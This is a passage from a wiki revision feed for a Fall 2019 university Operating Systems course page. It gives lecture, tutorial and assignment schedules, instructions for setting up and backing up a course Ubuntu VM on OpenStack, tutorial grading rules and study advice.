      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 4|3000test]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 28-Nov. 1&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 5|TBD]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
        &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 4-8&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 6|TBD]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 11-15&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 7|TBD]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 18-22&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 8|TBD]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 25-29&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 9|TBD]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Assignments==&lt;br /&gt;
&lt;br /&gt;
Assignments are due before class on the due dates (2:30 PM).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;width: 100%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;4&amp;quot; cellspacing=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;th&amp;gt;&lt;br /&gt;
    &amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;Due Date&amp;lt;/p&amp;gt;&lt;br /&gt;
    &amp;lt;/th&amp;gt;&lt;br /&gt;
    &amp;lt;th&amp;gt;&lt;br /&gt;
    &amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;Assignments&amp;lt;/p&amp;gt;&lt;br /&gt;
    &amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 27&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Assignment 1|Assignment 1]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 11&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Assignment 2|Assignment 2]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 15&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Assignment 3|Assignment 3]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Dec. 6&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Assignment 4|Assignment 4]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
 &amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Course Software==&lt;br /&gt;
&lt;br /&gt;
In this course we will primarily working with [http://www.ubuntu.com/ Ubuntu], a widely-used family of Linux distributions.   We will be using Ubuntu Server on the SCS&#039;s [http://openstack.scs.carleton.ca/ Openstack installation] (accessible only from the Carleton network).&lt;br /&gt;
&lt;br /&gt;
You may use other Linux distributions to complete the assigned work; there will be differences, however, in some aspects (such as installing software), particularly if you use a distribution not based on Ubuntu or Debian.&lt;br /&gt;
&lt;br /&gt;
===Openstack===&lt;br /&gt;
&lt;br /&gt;
You should create a VM on the new SCS openstack cluster at [https://openstack-stein.scs.carleton.ca openstack-stein.scs.carleton.ca] and do your work there.  Documentation on the cluster is [https://carleton.ca/scs/tech-support/scs-open-stack/ here].  While you don&#039;t need a persistent VM for this lab, it will be important for future tuturials - and it is nice to have your work stick around when you leave the lab.&lt;br /&gt;
&lt;br /&gt;
Note that you must be on the Carleton network to use openstack.  When you are off campus, connect using the  [https://carleton.ca/its/help-centre/remote-access/ Carleton VPN].&lt;br /&gt;
&lt;br /&gt;
Create a VM using the latest COMP 3000 snapshot image.  Please create a machine with two VCPUs.  The user is student, default password is student.  Please change your password after you first connect to your machine (using the passwd command).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Make sure you connect via ssh.&#039;&#039;&#039;  Windows 10 and MacOS have ssh clients available from their command lines, just type &amp;quot;ssh student@&amp;lt;IP address&amp;gt;&amp;quot; where the IP address is the floating IP address you assigned to your VM.  PuTTY also works, and you can use x2go.  DO NOT use the web console, as it is glitchy!&lt;br /&gt;
&lt;br /&gt;
The image provides an &amp;quot;scs-backup&amp;quot; command that will backup the student user&#039;s directory to the SCS linux machines.  So if your SCS username is janedoe, you can type&lt;br /&gt;
&lt;br /&gt;
  scs-backup janedoe&lt;br /&gt;
&lt;br /&gt;
and it will create a copy of everything in the student account in a directory called &amp;quot;COMP3000VM-backup&amp;quot; in your home directory.  You can ssh/sftp to access.scs.carleton.ca in order to access this copy of your VM&#039;s files.  You should do backups at the end of every session and before you do anything dangerous.&lt;br /&gt;
&lt;br /&gt;
The scs-backup bash function is listed below.  Feel free to adapt to your own needs; however, realize that rsync is a very powerful command that can delete arbitrary files at the specified destination (and in fact that is what the listed command does to the backup directory).  If you are changing any arguments, be sure to test with the -n option so you can see what will happen!&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note that you cannot take snapshots of your VM, so please don&#039;t try (it will keep trying and never succeed).&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
==Online Resources==&lt;br /&gt;
&lt;br /&gt;
Other than [http://pages.cs.wisc.edu/~remzi/OSTEP/ the textbook], there are many, many other good online sources of information about operating systems.  Here are a few that may be of interest:&lt;br /&gt;
&lt;br /&gt;
* Jian Huang&#039;s [http://web.eecs.utk.edu/~huangj/cs360/lecture_notes.html Systems Programming notes]&lt;br /&gt;
&lt;br /&gt;
==Tutorial Grading==&lt;br /&gt;
&lt;br /&gt;
Each week you will get a progress grade from 0-4, given to you by a TA.  If you are being diligent, you should be able to get 4&#039;s every week.  The easiest way to get your grade is to come to tutorial and meet with your TA; alternately, you can meet a TA in their office hours or, at their discretion, discuss things with them online.  Tutorials must be completed before the assignment on which they are based is due (if you wish to receive credit).&lt;br /&gt;
&lt;br /&gt;
Tutorial grades will be given out as follows:&lt;br /&gt;
* 2: student attended the tutorial (50%)&lt;br /&gt;
* 3: student worked on most of the tutorial material (75%)&lt;br /&gt;
* 4: student is learning the material in a way that should lead to success on assignment and the exams (100%)&lt;br /&gt;
&lt;br /&gt;
It should be easy to get a 3 if you show up and attempt the material.  To get a 4, however, you need to be demonstrating that you are conducting experiments and actively engaging with the material in a way that is likely to lead to success.&lt;br /&gt;
&lt;br /&gt;
It is possible to upgrade your grade on a tutorial at any time before the assignment on which they are based is due.&lt;br /&gt;
&lt;br /&gt;
==How to Succeed and How to Fail in COMP 3000==&lt;br /&gt;
&lt;br /&gt;
While the use of outside resources is acceptable, even encouraged, use them to achieve &#039;&#039;&#039;understanding&#039;&#039;&#039; rather than answers.&lt;br /&gt;
&lt;br /&gt;
It is very possible to get full tutorial marks by doing little more than showing up, and assignments can be quickly finished (and you can even get most of the marks) by working with partners, looking at old assignments, and doing lots of online searches.  If this is all you do, however, you will fail the tests and you won&#039;t get a very good grade in the course.&lt;br /&gt;
&lt;br /&gt;
Successful students use the tutorials and assignments as learning opportunities.  They look at the code and ask &amp;quot;what does that do?&amp;quot; - not just in a general sense, but by looking at every line and asking why it is there.  They modify the code in order to better understand it, and when they are confused they ask questions until they get the answers they need.  This sort of learning takes time, generally much more than the time allocated for lectures and tutorials.  A tutorial is only &amp;quot;finished&amp;quot; when you understand essentially all the material in it - not when 80 minutes are up.&lt;br /&gt;
&lt;br /&gt;
If you find you are confused about the concepts, make sure to read and review the textbook and the Linux man pages.  They provide much deeper answers than most online resources.  The tutorials are designed to help you ask the right questions - the textbook and manual pages (and the lectures) help provide the answers.&lt;br /&gt;
&lt;br /&gt;
Take the tutorials seriously.  Understand the answers for all the questions on the assignments.  Use the textbook and manual pages.  Ask questions.&lt;br /&gt;
&lt;br /&gt;
Good luck!&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_(Fall_2019)&amp;diff=22467</id>
		<title>Operating Systems (Fall 2019)</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_(Fall_2019)&amp;diff=22467"/>
		<updated>2019-09-24T23:37:46Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* Tutorial Grading */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Course Outline==&lt;br /&gt;
&lt;br /&gt;
[[Operating Systems (Fall 2019) Course Outline|Here]] is the course outline for COMP 3000: Operating Systems.&lt;br /&gt;
&lt;br /&gt;
==Lectures &amp;amp; Tests==&lt;br /&gt;
&lt;br /&gt;
Note that the topics below are primarily chapters from the class textbook, [http://pages.cs.wisc.edu/~remzi/OSTEP/ Operating Systems: Three Easy Pieces].  Note that while introductory and summary dialogues are not linked below, they are worth reading for an informal take on the material.&lt;br /&gt;
&lt;br /&gt;
Assigned readings are subject to change, please check this page each week.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;width: 100%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;4&amp;quot; cellspacing=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;th&amp;gt;&lt;br /&gt;
    &amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;Date&amp;lt;/p&amp;gt;&lt;br /&gt;
    &amp;lt;/th&amp;gt;&lt;br /&gt;
    &amp;lt;th&amp;gt;&lt;br /&gt;
    &amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;Topic&amp;lt;/p&amp;gt;&lt;br /&gt;
    &amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 4&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 1|Lecture 1]]: [http://pages.cs.wisc.edu/~remzi/OSTEP/intro.pdf Introduction]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 6&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 2|Lecture 2]]: [http://pages.cs.wisc.edu/~remzi/OSTEP/cpu-api.pdf Process API]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 11&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 3|Lecture 3]]: [http://pages.cs.wisc.edu/~remzi/OSTEP/cpu-intro.pdf Processes]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 13&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 4|Lecture 4]]: [http://pages.cs.wisc.edu/~remzi/OSTEP/file-intro.pdf Files]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 18&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 5|Lecture 5]]: [http://pages.cs.wisc.edu/~remzi/OSTEP/vm-intro.pdf Address Spaces] [http://pages.cs.wisc.edu/~remzi/OSTEP/dialogue-vm.pdf (Dialogue)]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 20&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 6|Lecture 6]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 25&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 7|Lecture 7]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 27&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 8|Lecture 8]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 2&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 9|Lecture 9]]: [http://pages.cs.wisc.edu/~remzi/OSTEP/file-devices.pdf I/O Devices], [http://pages.cs.wisc.edu/~remzi/OSTEP/file-disks.pdf Hard disk drives], [http://pages.cs.wisc.edu/~remzi/OSTEP/file-implementation.pdf Filesystem implementation], [http://pages.cs.wisc.edu/~remzi/OSTEP/file-journaling.pdf FSCK and Journaling]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 4&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 10|Lecture 10]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 9&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 11|Lecture 11]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 11&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 12|Lecture 12]]: Midterm Review&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 16&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Midterm Exam&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 18&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 13|Lecture 13]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 30&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 14|Lecture 14]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 1&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 15|Lecture 15]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 6&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 16|Lecture 16]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 8&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 17|Lecture 17]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 13&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 18|Lecture 18]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 15&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 19|Lecture 19]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 20&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 20|Lecture 20]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 22&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 21|Lecture 21]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 27&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 22|Lecture 22]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 29&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 23|Lecture 23]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
